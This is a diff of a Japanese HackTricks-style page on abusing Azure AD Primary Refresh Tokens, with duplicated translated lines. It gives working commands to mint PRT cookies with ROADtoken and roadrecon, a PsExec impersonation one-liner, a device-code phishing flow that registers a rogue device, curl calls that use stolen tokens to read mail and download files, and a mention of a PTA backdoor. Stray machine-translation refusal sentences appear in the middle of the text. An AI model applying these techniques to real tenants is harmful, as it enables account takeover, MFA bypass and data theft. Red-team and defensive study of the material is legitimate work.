前述の保護にもかかわらず、すでにデバイスを侵害した攻撃者（ローカルユーザーまたはSYSTEMとして）は、WindowsのトークンブローカーAPIとセキュリティコンポーネントを利用して**新しいアクセストークンを取得するためにPRTを悪用する**ことができます。攻撃者は生のPRTやキーを**抽出する**のではなく、基本的に**「Windowsに自分の代理でPRTを使用するように頼む」**のです。以下のセクションでは、TPM保護が有効な最新のWindowsデバイスでPRTとそのセッショントークンを悪用するための現在有効な技術を概説します。これらの技術はすべて、ターゲットマシンへのポストエクスプロイトアクセスを前提としており、**組み込みの認証フローを悪用することに焦点を当てています**（未修正の脆弱性は必要ありません）。
|
||||
前述の保護にもかかわらず、デバイスをすでに侵害した攻撃者（ローカルユーザーまたはSYSTEMとして）は、WindowsのトークンブローカーAPIとセキュリティコンポーネントを利用して**新しいアクセストークンを取得するためにPRTを悪用する**ことができます。攻撃者は生のPRTやキーを**抽出する**のではなく、実際には**「Windowsに自分の代わりにPRTを使用するように頼む」**のです。以下のセクションでは、TPM保護が有効な最新のWindowsデバイスでPRTとそのセッショントークンを悪用するための現在有効な技術を概説します。これらの技術はすべて、ターゲットマシンへのポストエクスプロイトアクセスを前提としており、**組み込みの認証フローを悪用することに焦点を当てています**（未修正の脆弱性は必要ありません）。
|
||||
|
||||
### WindowsトークンブローカーアーキテクチャとSSOフロー
|
||||
|
||||
最新のWindowsは、ユーザーモードとLSASS（ローカルセキュリティ機関）の両方にコンポーネントを含む組み込みの**トークンブローカー**スタックを介してクラウド認証を処理します。このアーキテクチャの重要な部分は次のとおりです。
|
||||
最新のWindowsは、ユーザーモードとLSASS（ローカルセキュリティ機関）の両方にコンポーネントを含む組み込みの**トークンブローカー**スタックを介してクラウド認証を処理します。このアーキテクチャの重要な部分は以下の通りです：
|
||||
|
||||
- **LSASS CloudAPプラグイン：** デバイスがAzure ADに参加している場合、LSASSはPRTとトークンリクエストを管理するクラウド認証パッケージ（例：`CloudAP.dll`、`aadcloudap.dll`、`MicrosoftAccountCloudAP.dll`）をロードします。LSASS（SYSTEMとして実行）はPRTの保存、更新、使用を調整し、TPMとインターフェースを介して暗号操作（セッショントークンでPRTチャレンジに署名するなど）を実行します。
|
||||
|
||||
- **Webアカウントマネージャー（WAM）：** Windows Webアカウントマネージャーは、アプリケーションやブラウザが資格情報を求めることなくクラウドアカウントのトークンを要求できるユーザーモードのフレームワーク（COM/WinRT APIを介してアクセス可能）です。WAMはユーザーアプリケーションとセキュアなLSASS/TPMバックのPRTとの間のブローカーとして機能します。たとえば、MicrosoftのMSALライブラリや特定のOSコンポーネントは、WAMを使用してログインユーザーのPRTを使用してトークンを静かに取得します。
|
||||
- **Webアカウントマネージャー（WAM）：** Windows Webアカウントマネージャーは、アプリケーションやブラウザが資格情報を求めることなくクラウドアカウントのトークンをリクエストできるユーザーモードのフレームワーク（COM/WinRT APIを介してアクセス可能）です。WAMはユーザーアプリケーションとセキュアなLSASS/TPMバックのPRTとの間のブローカーとして機能します。たとえば、MicrosoftのMSALライブラリや特定のOSコンポーネントは、WAMを使用してログインユーザーのPRTを使用してトークンを静かに取得します。
|
||||
|
||||
- **BrowserCore.exeとトークンブローカーCOMインターフェース：** ブラウザSSOのために、Windowsには**BrowserCore.exe**というコンポーネントが含まれています（*Windows Security\BrowserCore*の下にあります）。これは、ブラウザ（Edge、Chromeの拡張機能など）がAzure ADログインのためにPRT派生のSSOトークンを取得するために使用するネイティブメッセージングホストです。内部では、BrowserCoreは`MicrosoftAccountTokenProvider.dll`によって提供されるCOMオブジェクトを利用してPRTベースのクッキー/トークンを取得します。本質的に、このCOMインターフェースは、ユーザーとして実行されている任意のプロセスがSSOトークンを取得するために呼び出すことができるファーストパーティの「トークンブローカー」APIです（ユーザーがLSASSに有効なPRTを持っている場合）。
|
||||
|
||||
Azure ADに参加しているユーザーがリソース（たとえば、Azureポータル）にアクセスしようとすると、フローは通常次のようになります：アプリケーションがWAMまたはBrowserCoreのCOMインターフェースに呼び出し、これがLSASSと通信します。LSASSはPRTとセッショントークン（TPMによって保護されている）を使用して**SSOトークン**を生成します。これはしばしば**PRTクッキー**と呼ばれ、暗号化されたPRTとノンスを含む特別なJWTで、PRTのセッショントークンから派生したキーで署名されています。このクッキーはAzure ADに送信され（`x-ms-RefreshTokenCredential`ヘッダー内）、デバイスとユーザーが有効なPRTを保持していることを証明し、Azure ADがさまざまなアプリケーションの標準OAuthリフレッシュおよびアクセストークンを発行できるようにします。特に、PRTに存在する任意の多要素認証（MFA）要求は、このSSOプロセスを介して取得されたトークンに引き継がれるため、PRT派生のトークンはMFA保護されたリソースを満たすことができます。
|
||||
Azure ADに参加しているユーザーがリソース（たとえば、Azureポータル）にアクセスしようとすると、フローは通常次のようになります：アプリケーションがWAMまたはBrowserCoreのCOMインターフェースに呼び出し、これがLSASSと通信します。LSASSはPRTとセッショントークン（TPMによって保護されている）を使用して**SSOトークン**を生成します。これはしばしば**PRTクッキー**と呼ばれ、暗号化されたPRTとノンスを含む特別なJWTで、PRTのセッショントークンから派生したキーで署名されています。このクッキーはAzure ADに送信され（`x-ms-RefreshTokenCredential`ヘッダー内）、デバイスとユーザーが有効なPRTを保持していることを証明し、Azure ADがさまざまなアプリケーションのために標準のOAuthリフレッシュおよびアクセストークンを発行できるようにします。特に、PRTに存在する任意の多要素認証（MFA）要求は、このSSOプロセスを介して取得されたトークンに引き継がれるため、PRT派生のトークンはMFA保護されたリソースを満たすことができます。
|
||||
|
||||
### ユーザーレベルのトークン窃盗（非管理者）
|
||||
|
||||
@@ -154,21 +185,53 @@ BrowserCoreはPRTクッキーを取得するためのCOMクラス（`MicrosoftAc
|
||||
```bash
|
||||
RequestAADRefreshToken.exe --uri https://login.microsoftonline.com
|
||||
```
|
||||
*(Azure AD リフレッシュトークンまたは PRT クッキーを返します)*
|
||||
*(Azure ADリフレッシュトークンまたはPRTクッキーを返します)*
|
||||
|
||||
- **[ROADtoken](https://github.com/dirkjanm/ROADtoken)** & **[ROADtools](https://github.com/dirkjanm/ROADtools)**
|
||||
|
||||
ROADtokenは、正しいディレクトリから**`BrowserCore.exe`**を実行し、それを使用して**PRTクッキーを取得**します。このクッキーは、その後ROADtoolsと共に使用して認証し、**永続的なリフレッシュトークンを取得**することができます。
|
||||
|
||||
有効なPRTクッキーを生成するために最初に必要なのはノンスです。\
|
||||
これを取得するには:
|
||||
```bash
|
||||
ROADtoken.exe --nonce <nonce-value>
|
||||
roadrecon auth --prt-cookie <cookie>
|
||||
$TenantId = "19a03645-a17b-129e-a8eb-109ea7644bed"
|
||||
$URL = "https://login.microsoftonline.com/$TenantId/oauth2/token"
|
||||
|
||||
$Params = @{
|
||||
"URI" = $URL
|
||||
"Method" = "POST"
|
||||
}
|
||||
$Body = @{
|
||||
"grant_type" = "srv_challenge"
|
||||
}
|
||||
$Result = Invoke-RestMethod @Params -UseBasicParsing -Body $Body
|
||||
$Result.Nonce
|
||||
AwABAAAAAAACAOz_BAD0_8vU8dH9Bb0ciqF_haudN2OkDdyluIE2zHStmEQdUVbiSUaQi_EdsWfi1 9-EKrlyme4TaOHIBG24v-FBV96nHNMgAA
|
||||
```
|
||||
*(ノンスを生成し、BrowserCoreを呼び出してPRTクッキーを取得し、次にROADtoolsを介してそれを引き換えます)*
|
||||
|
||||
[**roadrecon**](https://github.com/dirkjanm/ROADtools)を使用するか：
|
||||
```bash
|
||||
roadrecon auth prt-init
|
||||
```
|
||||
次に、[**roadtoken**](https://github.com/dirkjanm/ROADtoken)を使用して新しいPRTを取得できます（攻撃するユーザーのプロセスからツールを実行します）：
|
||||
```bash
|
||||
.\ROADtoken.exe <nonce>
|
||||
```
|
||||
申し訳ありませんが、翻訳する内容が提供されていません。翻訳したいテキストを提供してください。
|
||||
```bash
|
||||
Invoke-Command - Session $ps_sess -ScriptBlock{C:\Users\Public\PsExec64.exe - accepteula -s "cmd.exe" " /c C:\Users\Public\SessionExecCommand.exe UserToImpersonate C:\Users\Public\ROADToken.exe AwABAAAAAAACAOz_BAD0__kdshsy61GF75SGhs_[...] > C:\Users\Public\PRT.txt"}
|
||||
```
|
||||
次に、**生成されたクッキー**を使用して、Azure AD **Graph**またはMicrosoft Graphを使用して**トークン**を**生成**して**ログイン**できます：
|
||||
```bash
|
||||
# Generate
|
||||
roadrecon auth --prt-cookie <prt_cookie>
|
||||
|
||||
# Connect
|
||||
Connect-AzureAD --AadAccessToken <token> --AccountId <acc_ind>
|
||||
```
|
||||
### **Web Account Manager (WAM) APIs**
|
||||
|
||||
攻撃者は、ユーザーレベルのプロセスから正当なMicrosoft認証ライブラリ（**MSAL**、**WAM APIs**、**WebAuthenticationCoreManager**）を使用して、TPM保護されたPRTを利用してトークンを静かに取得します。
|
||||
|
||||
|
||||
- **[aadprt](https://posts.specterops.io/)**
|
||||
```bash
|
||||
execute-assembly aadprt.exe
|
||||
@@ -201,7 +264,7 @@ Admin/SYSTEMは、他のユーザーの実行中のセッションを偽装し
|
||||
|
||||
### **直接LSASSおよびトークンブローカーとの相互作用（高度な技術）**
|
||||
|
||||
管理者はLSASSを使用してPRTを悪用することができます。たとえば、管理者はLSASSにコードを注入したり、内部CloudAP関数を呼び出してLSASSにトークンを生成させることができます。Dirk-janの研究では、管理者が「暗号APIを使用してLSASS内のPRTキーと相互作用できる」と指摘されています。実際には、LSASSの独自の関数を使用して（APIフックやRPCなどの技術を介して、利用可能な場合）PRTクッキーを生成することを意味します。別のアプローチは、セッションキーがメモリに表示される可能性のあるウィンドウを悪用することです。たとえば、PRTの更新やデバイス登録の瞬間に、使用のために暗号化されていない状態で表示される場合です。このような攻撃はかなり複雑で状況依存です。より簡単な管理者の戦術は、既存のトークンハンドルやキャッシュを悪用することです。LSASSは、メモリ内のアプリ用に最近発行されたリフレッシュトークンをキャッシュします（DPAPIで暗号化されています）。決意のあるSYSTEM攻撃者は、これらのDPAPI保護されたトークンを抽出し（管理者が取得できるユーザーのマスターキーを使用して）、特定のアプリケーションのリフレッシュトークンを直接盗むことを試みることができます。しかし、最も簡単で一般的な方法は、偽装と文書化されたトークンブローカーインターフェースの使用であり、これによりAzure ADが新しいトークンを発行することが保証されます（すべての適切なクレームを持って）暗号を解読しようとするのではなく。
|
||||
管理者はLSASSを使用してPRTを悪用することができます。たとえば、管理者はLSASSにコードを注入したり、内部CloudAP関数を呼び出してLSASSにトークンを生成させることができます。Dirk-janの研究では、管理者が「暗号APIを使用してLSASS内のPRTキーと相互作用できる」と指摘されています。実際には、LSASSの独自の関数を使用して（APIフックやRPCなどの技術を介して、利用可能な場合）PRTクッキーを生成することを意味するかもしれません。別のアプローチは、セッションキーがメモリに表示される可能性のあるウィンドウを悪用することです。たとえば、PRTの更新やデバイス登録の瞬間に、使用のために暗号化されていない状態で表示されるときです。このような攻撃はかなり複雑で状況依存です。より直接的な管理者の戦術は、既存のトークンハンドルやキャッシュを悪用することです。LSASSは、メモリ内のアプリ用に最近発行されたリフレッシュトークンをキャッシュします（DPAPIで暗号化されています）。決意のあるSYSTEM攻撃者は、これらのDPAPI保護されたトークンを抽出し（管理者が取得できるユーザーのマスターキーを使用して）、特定のアプリケーションのリフレッシュトークンを直接盗むことを試みるかもしれません。しかし、最も簡単で一般的な方法は、偽装と文書化されたトークンブローカーインターフェースの使用であり、これによりAzure ADが新しいトークンを発行することが保証されます（すべての適切なクレームを持って）暗号を解読しようとするのではなく。
|
||||
|
||||
## PRTのフィッシング
|
||||
|
||||
@@ -217,7 +280,7 @@ Admin/SYSTEMは、他のユーザーの実行中のセッションを偽装し
|
||||
|
||||
- **BrokerクライアントID**（`29d9ed98-a469-4536-ade2-f981bc1d605e`）と**DRSスコープ/リソース**を使用した**デバイスコードによるユーザー認証**（例：**`01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9/.default`**または**`https://enrollment.manage.microsoft.com/`**）。
|
||||
- **ユーザーがEntra IDでデバイスを登録できる**（**デフォルト：許可**、ただし制限またはクォータ制限される可能性があります）。
|
||||
- **デバイスコードを無効にする**CAポリシーや、ターゲットアプリに対して**準拠/ハイブリッドデバイスを要求する**ポリシーがないこと（これらはPRTの発行を停止しませんが、保護されたアプリにアクセスするための**使用**をブロックします）。
|
||||
- **デバイスコードを無効にする**CAポリシーや、ターゲットアプリに**準拠した/ハイブリッドデバイスを要求する**ポリシーがないこと（これらはPRTの発行を停止しませんが、保護されたアプリにアクセスするための**使用**をブロックします）。
|
||||
- **攻撃者が制御するホスト**でフローを実行し、トークン/デバイスキーを保持します。
|
||||
|
||||
**攻撃フロー**：
|
||||
@@ -229,15 +292,15 @@ curl -s -X POST \
|
||||
-d "client_id=29d9ed98-a469-4536-ade2-f981bc1d605e" \
|
||||
-d "scope=01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9/.default offline_access openid profile"
|
||||
```
|
||||
2. **被害者がMicrosoftのサイト**（正規のUI）にサインインし、**MFA**を完了すると、**攻撃者はBrokerクライアント用のDRSスコープ付きリフレッシュトークン**を受け取ります。
|
||||
2. **被害者がMicrosoftのサイト**（正規のUI）にサインインし、**MFA**を完了すると、**攻撃者はBrokerクライアント用のDRSスコープのリフレッシュトークン**を受け取ります。
|
||||
|
||||
3. **そのリフレッシュトークンを使用してテナントに不正なデバイスを登録**します（デバイスオブジェクトが作成され、被害者にリンクされます）。
|
||||
|
||||
4. **リフレッシュトークン + デバイスID/キー**を交換して**PRTにアップグレード**します → **攻撃者のデバイスにバウンドされたPRT**。
|
||||
|
||||
5. **（オプションの持続性）**: MFAが新鮮であれば、**長期的なパスワードレスアクセスを維持するためにWindows Hello for Businessキーを登録**します。
|
||||
5. **（オプションの永続性）**: MFAが新鮮であれば、**長期的なパスワードレスアクセスを維持するためにWindows Hello for Businessキーを登録**します。
|
||||
|
||||
6. **悪用**: **PRTを引き換え**（または**PRTクッキーを生成**）して、**ユーザーとしてExchange/Graph/SharePoint/Teams/カスタムアプリ**の**アクセストークン**を取得します。
|
||||
6. **悪用**: **PRT**（または**PRTクッキーをミント**）を引き換えて、**ユーザーとしてExchange/Graph/SharePoint/Teams/カスタムアプリ**の**アクセストークン**を取得します。
|
||||
|
||||
|
||||
### 公開ツールと概念実証
|
||||
|
||||
@@ -1,34 +0,0 @@
|
||||
# Az - Processes Memory Access Token
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## **基本情報**
|
||||
|
||||
[**このビデオ**](https://www.youtube.com/watch?v=OHKZkXC4Duw)で説明されているように、クラウドと同期された一部のMicrosoftソフトウェア（Excel、Teamsなど）は、**メモリ内にアクセス トークンを平文で保存する可能性があります**。したがって、プロセスの**メモリをダンプ**し、**JWTトークンをgrep**するだけで、MFAをバイパスしてクラウド内の被害者のいくつかのリソースにアクセスできる可能性があります。
|
||||
|
||||
手順：
|
||||
|
||||
1. お気に入りのツールを使用して、EntraIDユーザーと同期されたExcelプロセスをダンプします。
|
||||
2. `string excel.dmp | grep 'eyJ0'`を実行し、出力内のいくつかのトークンを見つけます。
|
||||
3. 最も興味のあるトークンを見つけ、それらに対してツールを実行します：
|
||||
```bash
|
||||
# Check the identity of the token
|
||||
curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/me | jq
|
||||
|
||||
# Check the email (you need a token authorized in login.microsoftonline.com)
|
||||
curl -s -H "Authorization: Bearer <token>" https://outlook.office.com/api/v2.0/me/messages | jq
|
||||
|
||||
# Download a file from Teams
|
||||
## You need a token that can access graph.microsoft.com
|
||||
## Then, find the <site_id> inside the memory and call
|
||||
curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/sites/<site_id>/drives | jq
|
||||
|
||||
## Then, list one drive
|
||||
curl -s -H "Authorization: Bearer <token>" 'https://graph.microsoft.com/v1.0/sites/<site_id>/drives/<drive_id>' | jq
|
||||
|
||||
## Finally, download a file from that drive:
|
||||
curl -o <filename_output> -L -H "Authorization: Bearer <token>" '<@microsoft.graph.downloadUrl>'
|
||||
```
|
||||
**この種のアクセストークンは、他のプロセス内にも存在する可能性があることに注意してください。**
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -4,24 +4,24 @@
|
||||
|
||||
## 基本情報
|
||||
|
||||
[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) Microsoft Entra パススルー認証を使用すると、ユーザーは **オンプレミスおよびクラウドベースのアプリケーションに同じパスワードでサインイン**できます。この機能は、ユーザーにとってより良い体験を提供し、覚えるべきパスワードが1つ減るため、ITヘルプデスクのコストを削減します。ユーザーが Microsoft Entra ID を使用してサインインすると、この機能はユーザーのパスワードをオンプレミスの Active Directory に対して直接検証します。
|
||||
[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) Microsoft Entra パススルー認証を使用すると、ユーザーは**同じパスワードを使用してオンプレミスおよびクラウドベースのアプリケーションにサインイン**できます。この機能は、ユーザーにとってより良い体験を提供し、覚えるべきパスワードが1つ減るため、ITヘルプデスクのコストを削減します。ユーザーが Microsoft Entra ID を使用してサインインすると、この機能はユーザーのパスワードをオンプレミスの Active Directory に対して直接検証します。
|
||||
|
||||
PTA では **アイデンティティ** は **同期されます** が、**パスワードは同期されません**（PHS のように）。
|
||||
PTA では、**アイデンティティ**は**同期**されますが、**パスワード**は PHS のようには**同期**されません。
|
||||
|
||||
認証はオンプレミスの AD で検証され、クラウドとの通信は **オンプレミスサーバー** で実行される **認証エージェント** によって行われます（オンプレミスの DC にある必要はありません）。
|
||||
認証はオンプレミスの AD で検証され、クラウドとの通信は**オンプレミスサーバー**で実行される**認証エージェント**によって行われます（オンプレミスの DC にある必要はありません）。
|
||||
|
||||
### 認証フロー
|
||||
|
||||
<figure><img src="../../../../images/image (92).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
1. **ログイン**するために、ユーザーは **Azure AD** にリダイレクトされ、**ユーザー名** と **パスワード** を送信します。
|
||||
2. **資格情報** は **暗号化** され、Azure AD の **キュー** に設定されます。
|
||||
3. **オンプレミス認証エージェント** がキューから **資格情報** を収集し、**復号化** します。このエージェントは **「パススルー認証エージェント」** または **PTA エージェント** と呼ばれます。
|
||||
4. **エージェント** は **オンプレミス AD** に対して資格情報を **検証** し、**応答** を **Azure AD** に **返します**。応答が肯定的であれば、ユーザーの **ログインを完了** します。
|
||||
1. **ログイン**するために、ユーザーは**Azure AD**にリダイレクトされ、**ユーザー名**と**パスワード**を送信します。
|
||||
2. **資格情報**は**暗号化**され、Azure AD の**キュー**に設定されます。
|
||||
3. **オンプレミス認証エージェント**がキューから**資格情報**を取得し、**復号化**します。このエージェントは**「パススルー認証エージェント」**または**PTAエージェント**と呼ばれます。
|
||||
4. **エージェント**は**オンプレミスAD**に対して資格情報を**検証**し、**応答**をAzure ADに**返します**。応答が肯定的であれば、ユーザーの**ログインを完了**します。
|
||||
|
||||
> [!WARNING]
|
||||
> 攻撃者が **PTA** を **侵害** すると、キュー内のすべての **資格情報** を（**平文**で）**見る** ことができます。\
|
||||
> また、AzureAD に対して **任意の資格情報を検証** することもできます（スケルトンキーに似た攻撃）。
|
||||
> 攻撃者が**PTA**を**侵害**すると、キュー内のすべての**資格情報**を（**平文**で）**見る**ことができます。\
|
||||
> また、AzureADに対して**任意の資格情報を検証**することもできます（Skeleton key に似た攻撃）。
|
||||
|
||||
### 列挙
|
||||
|
||||
@@ -58,7 +58,7 @@ Get-Service -Name "AzureADConnectAuthenticationAgent"
|
||||
```
|
||||
## ピボティング
|
||||
|
||||
**PTA** **エージェント**が実行されている**Azure AD Connectサーバー**に**管理者**アクセスがある場合、**AADInternals**モジュールを使用して、**すべてのパスワード**を**検証するバックドア**を**挿入**することができます（すべてのパスワードが認証に対して有効になります）：
|
||||
**PTA** **エージェント**が実行されている**Azure AD Connect サーバー**に**管理者**アクセスがある場合、**AADInternals**モジュールを使用して、**すべてのパスワード**を**検証するバックドア**を**挿入**することができます（すべてのパスワードが認証に対して有効になります）：
|
||||
```bash
|
||||
Install-Module AADInternals -RequiredVersion 0.9.3
|
||||
Import-Module AADInternals
|
||||
@@ -1,58 +0,0 @@
|
||||
# Az AD Connect - ハイブリッドアイデンティティ
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## 基本情報
|
||||
|
||||
**オンプレミスのActive Directory (AD)** と **Azure AD** の統合は、**Azure AD Connect** によって促進され、**シングルサインオン (SSO)** をサポートするさまざまな方法が提供されます。各方法は有用ですが、クラウドまたはオンプレミス環境を危険にさらす可能性のあるセキュリティ脆弱性を提示します：
|
||||
|
||||
- **パススルー認証 (PTA)**:
|
||||
- オンプレミスADのエージェントが侵害される可能性があり、Azure接続のためのユーザーパスワードの検証が可能になります（オンプレからクラウドへ）。
|
||||
- 新しい場所（クラウドからオンプレ）で認証を検証するために新しいエージェントを登録する可能性。
|
||||
|
||||
{{#ref}}
|
||||
pta-pass-through-authentication.md
|
||||
{{#endref}}
|
||||
|
||||
- **パスワードハッシュ同期 (PHS)**:
|
||||
- 特権ユーザーのクリアテキストパスワードをADから抽出する可能性があり、高特権の自動生成されたAzureADユーザーの資格情報を含みます。
|
||||
|
||||
{{#ref}}
|
||||
phs-password-hash-sync.md
|
||||
{{#endref}}
|
||||
|
||||
- **フェデレーション**:
|
||||
- SAML署名に使用される秘密鍵の盗難により、オンプレおよびクラウドのアイデンティティのなりすましが可能になります。
|
||||
|
||||
{{#ref}}
|
||||
federation.md
|
||||
{{#endref}}
|
||||
|
||||
- **シームレスSSO:**
|
||||
- Kerberosシルバーチケットの署名に使用される `AZUREADSSOACC` ユーザーのパスワードの盗難により、任意のクラウドユーザーのなりすましが可能になります。
|
||||
|
||||
{{#ref}}
|
||||
seamless-sso.md
|
||||
{{#endref}}
|
||||
|
||||
- **クラウドKerberos信頼**:
|
||||
- AzureADユーザー名とSIDを操作し、AzureADからTGTを要求することにより、グローバル管理者からオンプレドメイン管理者への昇格の可能性。
|
||||
|
||||
{{#ref}}
|
||||
az-cloud-kerberos-trust.md
|
||||
{{#endref}}
|
||||
|
||||
- **デフォルトアプリケーション**:
|
||||
- アプリケーション管理者アカウントまたはオンプレミスの同期アカウントが侵害されると、ディレクトリ設定、グループメンバーシップ、ユーザーアカウント、SharePointサイト、およびOneDriveファイルの変更が可能になります。
|
||||
|
||||
{{#ref}}
|
||||
az-default-applications.md
|
||||
{{#endref}}
|
||||
|
||||
各統合方法に対して、ユーザーの同期が行われ、オンプレADに `MSOL_<installationidentifier>` アカウントが作成されます。特に、**PHS** と **PTA** の両方の方法は **シームレスSSO** を促進し、オンプレドメインに参加しているAzure ADコンピューターの自動サインインを可能にします。
|
||||
|
||||
**Azure AD Connect** のインストールを確認するには、以下のPowerShellコマンドを使用できます。このコマンドは、**AzureADConnectHealthSync** モジュール（Azure AD Connectと共にデフォルトでインストールされる）を利用します：
|
||||
```bash
|
||||
Get-ADSyncConnector
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,250 +0,0 @@
|
||||
# Az - Pass the PRT
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## PRTとは何か
|
||||
|
||||
{{#ref}}
|
||||
az-primary-refresh-token-prt.md
|
||||
{{#endref}}
|
||||
|
||||
### PRTがあるか確認する
|
||||
```
|
||||
Dsregcmd.exe /status
|
||||
```
|
||||
SSOステートセクションでは、**`AzureAdPrt`**が**YES**に設定されているのが確認できます。
|
||||
|
||||
<figure><img src="../../../images/image (140).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
同じ出力で、**デバイスがAzureに参加しているかどうか**（フィールド`AzureAdJoined`）も確認できます：
|
||||
|
||||
<figure><img src="../../../images/image (135).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## PRTクッキー
|
||||
|
||||
PRTクッキーは実際には**`x-ms-RefreshTokenCredential`**と呼ばれ、JSON Web Token（JWT）です。JWTは**3つの部分**、**ヘッダー**、**ペイロード**、**署名**から構成され、`.`で区切られ、すべてURLセーフなbase64でエンコードされています。典型的なPRTクッキーは以下のヘッダーとボディを含みます：
|
||||
```json
|
||||
{
|
||||
"alg": "HS256",
|
||||
"ctx": "oYKjPJyCZN92Vtigt/f8YlVYCLoMu383"
|
||||
}
|
||||
{
|
||||
"refresh_token": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAZ18nQkT-eD6Hqt7sf5QY0iWPSssZOto]<cut>VhcDew7XCHAVmCutIod8bae4YFj8o2OOEl6JX-HIC9ofOG-1IOyJegQBPce1WS-ckcO1gIOpKy-m-JY8VN8xY93kmj8GBKiT8IAA",
|
||||
"is_primary": "true",
|
||||
"request_nonce": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAPrlbf_TrEVJRMW2Cr7cJvYKDh2XsByis2eCF9iBHNqJJVzYR_boX8VfBpZpeIV078IE4QY0pIBtCcr90eyah5yAA"
|
||||
}
|
||||
```
|
||||
実際の **Primary Refresh Token (PRT)** は **`refresh_token`** 内にカプセル化されており、これは Azure AD の制御下にあるキーによって暗号化されているため、その内容は私たちには不透明で復号不可能です。フィールド **`is_primary`** は、このトークン内にプライマリリフレッシュトークンがカプセル化されていることを示します。クッキーが意図された特定のログインセッションにバインドされ続けることを保証するために、`request_nonce` が `logon.microsoftonline.com` ページから送信されます。
|
||||
|
||||
### TPMを使用したPRTクッキーのフロー
|
||||
|
||||
**LSASS** プロセスは **KDFコンテキスト** を TPM に送信し、TPM は **セッションキー**（デバイスが AzureAD に登録されたときに収集され、TPM に保存されたもの）と前のコンテキストを使用して **キーを導出** します。この **導出されたキー** は **PRTクッキー (JWT) を署名するために使用されます。**
|
||||
|
||||
**KDFコンテキストは** AzureAD からのノンスと PRT を混ぜた **JWT** と **コンテキスト**（ランダムバイト）です。
|
||||
|
||||
したがって、PRT が TPM 内にあるために抽出できない場合でも、LSASS を悪用して **新しいコンテキストから導出されたキーを要求し、生成されたキーを使用してクッキーに署名する** ことが可能です。
|
||||
|
||||
<figure><img src="../../../images/image (31).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## PRT悪用シナリオ
|
||||
|
||||
**通常のユーザー** として、LSASS に SSO データを要求することで **PRTの使用を要求する** ことが可能です。\
|
||||
これは、**Web Account Manager**（トークンブローカー）からトークンを要求する **ネイティブアプリ** のように行うことができます。WAM はリクエストを **LSASS** に渡し、LSASS は署名された PRT アサーションを使用してトークンを要求します。また、**PRTクッキー** を **ヘッダー** として使用して Azure AS ログインページへのリクエストを認証する **ブラウザベース（ウェブ）フロー** でも行うことができます。
|
||||
|
||||
**SYSTEM** として、TPM によって保護されていない場合は **PRTを盗むことができ**、または **LSASS 内のPRTキーと相互作用する** ことができます。
|
||||
|
||||
## Pass-the-PRT攻撃の例
|
||||
|
||||
### 攻撃 - ROADtoken
|
||||
|
||||
この方法の詳細については [**この投稿を確認してください**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/)。ROADtoken は正しいディレクトリから **`BrowserCore.exe`** を実行し、これを使用して **PRTクッキーを取得** します。このクッキーはその後、ROADtools を使用して認証し、**永続的なリフレッシュトークンを取得** するために使用できます。
|
||||
|
||||
有効な PRT クッキーを生成するために最初に必要なのはノンスです。\
|
||||
これを取得するには:
|
||||
```bash
|
||||
$TenantId = "19a03645-a17b-129e-a8eb-109ea7644bed"
|
||||
$URL = "https://login.microsoftonline.com/$TenantId/oauth2/token"
|
||||
|
||||
$Params = @{
|
||||
"URI" = $URL
|
||||
"Method" = "POST"
|
||||
}
|
||||
$Body = @{
|
||||
"grant_type" = "srv_challenge"
|
||||
}
|
||||
$Result = Invoke-RestMethod @Params -UseBasicParsing -Body $Body
|
||||
$Result.Nonce
|
||||
AwABAAAAAAACAOz_BAD0_8vU8dH9Bb0ciqF_haudN2OkDdyluIE2zHStmEQdUVbiSUaQi_EdsWfi1 9-EKrlyme4TaOHIBG24v-FBV96nHNMgAA
|
||||
```
|
||||
[**roadrecon**](https://github.com/dirkjanm/ROADtools)を使用するか：
|
||||
```bash
|
||||
roadrecon auth prt-init
|
||||
```
|
||||
次に、[**roadtoken**](https://github.com/dirkjanm/ROADtoken)を使用して新しいPRTを取得できます（攻撃するユーザーのプロセスからツールを実行します）：
|
||||
```bash
|
||||
.\ROADtoken.exe <nonce>
|
||||
```
|
||||
申し訳ありませんが、具体的なテキストが提供されていないため、翻訳を行うことができません。翻訳が必要なテキストを提供してください。
|
||||
```bash
|
||||
Invoke-Command - Session $ps_sess -ScriptBlock{C:\Users\Public\PsExec64.exe - accepteula -s "cmd.exe" " /c C:\Users\Public\SessionExecCommand.exe UserToImpersonate C:\Users\Public\ROADToken.exe AwABAAAAAAACAOz_BAD0__kdshsy61GF75SGhs_[...] > C:\Users\Public\PRT.txt"}
|
||||
```
|
||||
次に、**生成されたクッキー**を使用して、Azure AD **Graph**またはMicrosoft Graphを使用して**トークン**を**生成**して**ログイン**できます：
|
||||
```bash
|
||||
# Generate
|
||||
roadrecon auth --prt-cookie <prt_cookie>
|
||||
|
||||
# Connect
|
||||
Connect-AzureAD --AadAccessToken <token> --AccountId <acc_ind>
|
||||
```
|
||||
### 攻撃 - roadreconの使用
|
||||
|
||||
### 攻撃 - AADInternalsと漏洩したPRTの使用
|
||||
|
||||
`Get-AADIntUserPRTToken` **はユーザーのPRTトークンを取得します** Azure ADに参加したコンピュータまたはハイブリッド参加したコンピュータから。 `BrowserCore.exe`を使用してPRTトークンを取得します。
|
||||
```bash
|
||||
# Get the PRToken
|
||||
$prtToken = Get-AADIntUserPRTToken
|
||||
|
||||
# Get an access token for AAD Graph API and save to cache
|
||||
Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken
|
||||
```
|
||||
